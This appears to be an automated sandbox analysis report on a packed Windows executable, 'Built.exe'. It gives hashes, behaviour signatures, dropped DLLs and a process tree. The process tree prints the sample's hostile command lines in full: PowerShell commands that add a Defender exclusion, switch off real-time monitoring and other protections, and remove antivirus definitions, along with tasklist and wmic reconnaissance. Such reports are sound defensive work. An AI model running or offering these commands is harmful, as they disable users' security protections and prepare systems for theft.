Analysis

  • max time kernel
    93s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-02-2025 01:14

General

  • Target

    Built.exe

  • Size

    7.6MB

  • MD5

    b064878f2f7f35292c49271a59e9bbb6

  • SHA1

    e463894268235f78c2f4da957615261b95b231e6

  • SHA256

    8550417f916a10c6303114b8358abdc12ed70a4cfeacba4e26c38e2a0f6a0ead

  • SHA512

    1f4b04125c48fc222a9a49e222c3d751eefdfd8b1354ff5f11e26482fc82bee8f8535cd2431d65a0d496cbf62c47f829885bde135a5f5cad9a0ce451c6311127

  • SSDEEP

    196608:vW2DX+TwfI9jUCBB7m+mKOY7rXrZusooDmhfvsbnTNWc:dJIHL7HmBYXrYoaUNn

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4748
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2164
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1896
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\VCRUNTIME140.dll

    Filesize

    117KB

    MD5

    862f820c3251e4ca6fc0ac00e4092239

    SHA1

    ef96d84b253041b090c243594f90938e9a487a9a

    SHA256

    36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

    SHA512

    2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_bz2.pyd

    Filesize

    49KB

    MD5

    e1b31198135e45800ed416bd05f8362e

    SHA1

    3f5114446e69f4334fa8cda9cda5a6081bca29ed

    SHA256

    43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80

    SHA512

    6709c58592e89905263894a99dc1d6aafff96ace930bb35abff1270a936c04d3b5f51a70fb5ed03a6449b28cad70551f3dccfdd59f9012b82c060e0668d31733

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_ctypes.pyd

    Filesize

    63KB

    MD5

    b6262f9fbdca0fe77e96a9eed25e312f

    SHA1

    6bfb59be5185ceaca311f7d9ef750a12b971cbd7

    SHA256

    1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998

    SHA512

    768321758fc78e398a1b60d9d0ac6b7dfd7fd429ef138845461389aaa8e74468e4bc337c1db829ba811cb58cc48cfff5c8de325de949dde6d89470342b2c8ce8

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_decimal.pyd

    Filesize

    119KB

    MD5

    9cfb6d9624033002bc19435bae7ff838

    SHA1

    d5eecc3778de943873b33c83432323e2b7c2e5c2

    SHA256

    41b0b60fe2aa2b63c93d3ce9ab69247d440738edb4805f18db3d1daa6bb3ebff

    SHA512

    dd6d7631a54cbd4abd58b0c5a8cb5a10a468e87019122554467fd1d0669b9a270650928d9de94a7ec059d4acebf39fd1cfcea482fc5b3688e7924aaf1369cc64

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_hashlib.pyd

    Filesize

    36KB

    MD5

    0b214888fac908ad036b84e5674539e2

    SHA1

    4079b274ec8699a216c0962afd2b5137809e9230

    SHA256

    a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff

    SHA512

    ae7aee8a11248f115eb870c403df6fc33785c27962d8593633069c5ff079833e76a74851ef51067ce302b8ea610f9d95c14be5e62228ebd93570c2379a2d4846

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_lzma.pyd

    Filesize

    87KB

    MD5

    adeaa96a07b7b595675d9f351bb7a10c

    SHA1

    484a974913276d236cb0d5db669358e215f7fced

    SHA256

    3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d

    SHA512

    5d01d85cda1597a00b39746506ff1f0f01eeea1dc2a359fcecc8ee40333613f7040ab6d643fdaee6adaa743d869569b9ab28ae56a32199178681f8ba4dea4e55

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_queue.pyd

    Filesize

    28KB

    MD5

    766820215f82330f67e248f21668f0b3

    SHA1

    5016e869d7f65297f73807ebdaf5ba69b93d82bd

    SHA256

    ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6

    SHA512

    4911b935e39d317630515e9884e6770e3c3cdbd32378b5d4c88af22166b79b8efc21db501f4ffb80668751969154683af379a6806b9cd0c488e322bd00c87d0e

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_socket.pyd

    Filesize

    45KB

    MD5

    65cd246a4b67cc1eab796e2572c50295

    SHA1

    053fa69b725f1789c87d0ef30f3d8997d7e97e32

    SHA256

    4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c

    SHA512

    c5bf499cc3038741d04d8b580b54c3b8b919c992366e4f37c1af6321a7c984b2e2251c5b2bc8626aff3d6ca3bf49d6e1ccd803bd99589f41a40f24ec0411db86

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_sqlite3.pyd

    Filesize

    59KB

    MD5

    f018b2c125aa1ecc120f80180402b90b

    SHA1

    cf2078a591f0f45418bab7391c6d05275690c401

    SHA256

    67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443

    SHA512

    c57580af43bc1243c181d9e1efbc4aa544db38650c64f8ece42fbcbe3b4394fcadb7acfb83e27fbe4448113db1e6af8d894fb4bd708c460cf45c6524fcfdef96

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\_ssl.pyd

    Filesize

    68KB

    MD5

    309b1a7156ebd03474b44f11ba363e89

    SHA1

    8c09f8c65cac5bb1fcf43af65a7b3e59a9400990

    SHA256

    67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a

    SHA512

    e610a92f0e4fa2a6cd9afd7d8d7a32cc5df14e99af689bfb5a4b0811dca97114bf3fcf4bfae68600ed2417d18ee88c64c22b0c186068afd4731be1de90c06f15

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\base_library.zip

    Filesize

    1.3MB

    MD5

    c074514230f57b4e3120d2b9e6abd0e1

    SHA1

    de1ae6e065641f96596770ebd9cbbbfc90dc3625

    SHA256

    ae44b8f96a479a126621f46620c447e78c88710b6c27a36b35b735b85339e976

    SHA512

    f5640d0689633ca176576a92aff0db2117c03fc68f13bee8764547fa90c26c731252086b27a9ea729a22500718c2908a82606ad00639633b10be95052099d96c

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\blank.aes

    Filesize

    116KB

    MD5

    8a1bcb03c403895f8415505cf0b8e44b

    SHA1

    f6966f0b9f4a265698bea3d158b98b2f3a966b38

    SHA256

    2924e0bbd72d801cfaec752dcd80d0cab1003d09ec2120972a8d554751fa723a

    SHA512

    a8577dc3c23ce1ee2f44cc8c4616e8e97b2af2a40d8948e21b805d6332de6352565a2f937b1fb4bbb904b630d2134362f62052365ce10ba45c2df29b5bd04909

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\blank.aes

    Filesize

    116KB

    MD5

    750a53989fba57c030b229293f54649c

    SHA1

    66fa26e7b3b07ae03f846192ca39fc96446ba312

    SHA256

    12e1433f98876b679ca8803d48f7f4ee9e83b285f580d3dddfbb7b50b58cbb35

    SHA512

    d37320ad3fe92943e231762b9873a604d9579af365c4e3dd142cd34eebd8fe8f25b29dc1c7f3cc7fc4b5daf04ca5e79f87752c2a1629892d94e3c432c16f0fa0

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\libcrypto-3.dll

    Filesize

    1.6MB

    MD5

    8377fe5949527dd7be7b827cb1ffd324

    SHA1

    aa483a875cb06a86a371829372980d772fda2bf9

    SHA256

    88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d

    SHA512

    c59d0cbe8a1c64f2c18b5e2b1f49705d079a2259378a1f95f7a368415a2dc3116e0c3c731e9abfa626d12c02b9e0d72c98c1f91a359f5486133478144fa7f5f7

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\libffi-8.dll

    Filesize

    29KB

    MD5

    08b000c3d990bc018fcb91a1e175e06e

    SHA1

    bd0ce09bb3414d11c91316113c2becfff0862d0d

    SHA256

    135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

    SHA512

    8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\libssl-3.dll

    Filesize

    221KB

    MD5

    b2e766f5cf6f9d4dcbe8537bc5bded2f

    SHA1

    331269521ce1ab76799e69e9ae1c3b565a838574

    SHA256

    3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4

    SHA512

    5233c8230497aadb9393c3ee5049e4ab99766a68f82091fe32393ee980887ebd4503bf88847c462c40c3fc786f8d179dac5cb343b980944ade43bc6646f5ad5a

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\python313.dll

    Filesize

    1.8MB

    MD5

    9a3d3ae5745a79d276b05a85aea02549

    SHA1

    a5e60cac2ca606df4f7646d052a9c0ea813e7636

    SHA256

    09693bab682495b01de8a24c435ca5900e11d2d0f4f0807dae278b3a94770889

    SHA512

    46840b820ee3c0fa511596124eb364da993ec7ae1670843a15afd40ac63f2c61846434be84d191bd53f7f5f4e17fad549795822bb2b9c792ac22a1c26e5adf69

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\rar.exe

    Filesize

    615KB

    MD5

    9c223575ae5b9544bc3d69ac6364f75e

    SHA1

    8a1cb5ee02c742e937febc57609ac312247ba386

    SHA256

    90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

    SHA512

    57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\rarreg.key

    Filesize

    456B

    MD5

    4531984cad7dacf24c086830068c4abe

    SHA1

    fa7c8c46677af01a83cf652ef30ba39b2aae14c3

    SHA256

    58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

    SHA512

    00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\select.pyd

    Filesize

    26KB

    MD5

    933da5361079fc8457e19adab86ff4e0

    SHA1

    51bccf47008130baadd49a3f55f85fe968177233

    SHA256

    adfdf84ff4639f8a921b78a2efce1b89265df2b512df05ce2859fc3cc6e33eff

    SHA512

    0078cd5df1b78d51b0acb717e051e83cb18a9daf499a959da84a331fa7a839eefa303672d741b29ff2e0c34d1ef3f07505609f1102e9e86fab1c9fd066c67570

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\sqlite3.dll

    Filesize

    645KB

    MD5

    ff62332fa199145aaf12314dbf9841a3

    SHA1

    714a50b5351d5c8afddb16a4e51a8998f976da65

    SHA256

    36e1c70afc8ad8afe4a4f3ef4f133390484bca4ea76941cc55bac7e9df29eefd

    SHA512

    eeff68432570025550d4c205abf585d2911e0ff59b6eca062dd000087f96c7896be91eda7612666905445627fc3fc974aea7c3428a708c7de2ca14c7bce5cca5

  • C:\Users\Admin\AppData\Local\Temp\_MEI15202\unicodedata.pyd

    Filesize

    262KB

    MD5

    867ecde9ff7f92d375165ae5f3c439cb

    SHA1

    37d1ac339eb194ce98548ab4e4963fe30ea792ae

    SHA256

    a2061ef4df5999ca0498bee2c7dd321359040b1acf08413c944d468969c27579

    SHA512

    0dce05d080e59f98587bce95b26a3b5d7910d4cb5434339810e2aae8cfe38292f04c3b706fcd84957552041d4d8c9f36a1844a856d1729790160cef296dccfc2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ikcypp00.t00.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/816-121-0x00007FF861C30000-0x00007FF861C57000-memory.dmp

    Filesize

    156KB

  • memory/816-25-0x00007FF84CEF0000-0x00007FF84D555000-memory.dmp

    Filesize

    6.4MB

  • memory/816-60-0x00007FF85BBC0000-0x00007FF85BD3F000-memory.dmp

    Filesize

    1.5MB

  • memory/816-62-0x00007FF8606E0000-0x00007FF8606F9000-memory.dmp

    Filesize

    100KB

  • memory/816-64-0x00007FF864070000-0x00007FF86407D000-memory.dmp

    Filesize

    52KB

  • memory/816-66-0x00007FF85C9F0000-0x00007FF85CA23000-memory.dmp

    Filesize

    204KB

  • memory/816-52-0x00007FF860650000-0x00007FF86067B000-memory.dmp

    Filesize

    172KB

  • memory/816-30-0x00007FF861C30000-0x00007FF861C57000-memory.dmp

    Filesize

    156KB

  • memory/816-126-0x00007FF85BBC0000-0x00007FF85BD3F000-memory.dmp

    Filesize

    1.5MB

  • memory/816-74-0x00007FF861C30000-0x00007FF861C57000-memory.dmp

    Filesize

    156KB

  • memory/816-73-0x00007FF84C800000-0x00007FF84CD33000-memory.dmp

    Filesize

    5.2MB

  • memory/816-76-0x00007FF85FFC0000-0x00007FF85FFD4000-memory.dmp

    Filesize

    80KB

  • memory/816-78-0x00007FF8604B0000-0x00007FF8604BD000-memory.dmp

    Filesize

    52KB

  • memory/816-80-0x00007FF84C270000-0x00007FF84C323000-memory.dmp

    Filesize

    716KB

  • memory/816-50-0x00007FF8626E0000-0x00007FF8626F9000-memory.dmp

    Filesize

    100KB

  • memory/816-71-0x00007FF85C7F0000-0x00007FF85C8BE000-memory.dmp

    Filesize

    824KB

  • memory/816-48-0x00007FF864080000-0x00007FF86408F000-memory.dmp

    Filesize

    60KB

  • memory/816-58-0x00007FF8604C0000-0x00007FF8604E5000-memory.dmp

    Filesize

    148KB

  • memory/816-118-0x00007FF8604B0000-0x00007FF8604BD000-memory.dmp

    Filesize

    52KB

  • memory/816-120-0x00007FF84C800000-0x00007FF84CD33000-memory.dmp

    Filesize

    5.2MB

  • memory/816-130-0x00007FF85C7F0000-0x00007FF85C8BE000-memory.dmp

    Filesize

    824KB

  • memory/816-129-0x00007FF85C9F0000-0x00007FF85CA23000-memory.dmp

    Filesize

    204KB

  • memory/816-128-0x00007FF864070000-0x00007FF86407D000-memory.dmp

    Filesize

    52KB

  • memory/816-127-0x00007FF8606E0000-0x00007FF8606F9000-memory.dmp

    Filesize

    100KB

  • memory/816-72-0x0000027D31020000-0x0000027D31553000-memory.dmp

    Filesize

    5.2MB

  • memory/816-125-0x00007FF8604C0000-0x00007FF8604E5000-memory.dmp

    Filesize

    148KB

  • memory/816-124-0x00007FF860650000-0x00007FF86067B000-memory.dmp

    Filesize

    172KB

  • memory/816-123-0x00007FF8626E0000-0x00007FF8626F9000-memory.dmp

    Filesize

    100KB

  • memory/816-122-0x00007FF864080000-0x00007FF86408F000-memory.dmp

    Filesize

    60KB

  • memory/816-70-0x00007FF84CEF0000-0x00007FF84D555000-memory.dmp

    Filesize

    6.4MB

  • memory/816-119-0x00007FF84C270000-0x00007FF84C323000-memory.dmp

    Filesize

    716KB

  • memory/816-117-0x00007FF85FFC0000-0x00007FF85FFD4000-memory.dmp

    Filesize

    80KB

  • memory/816-105-0x00007FF84CEF0000-0x00007FF84D555000-memory.dmp

    Filesize

    6.4MB

  • memory/4748-87-0x000001E8AF5D0000-0x000001E8AF5F2000-memory.dmp

    Filesize

    136KB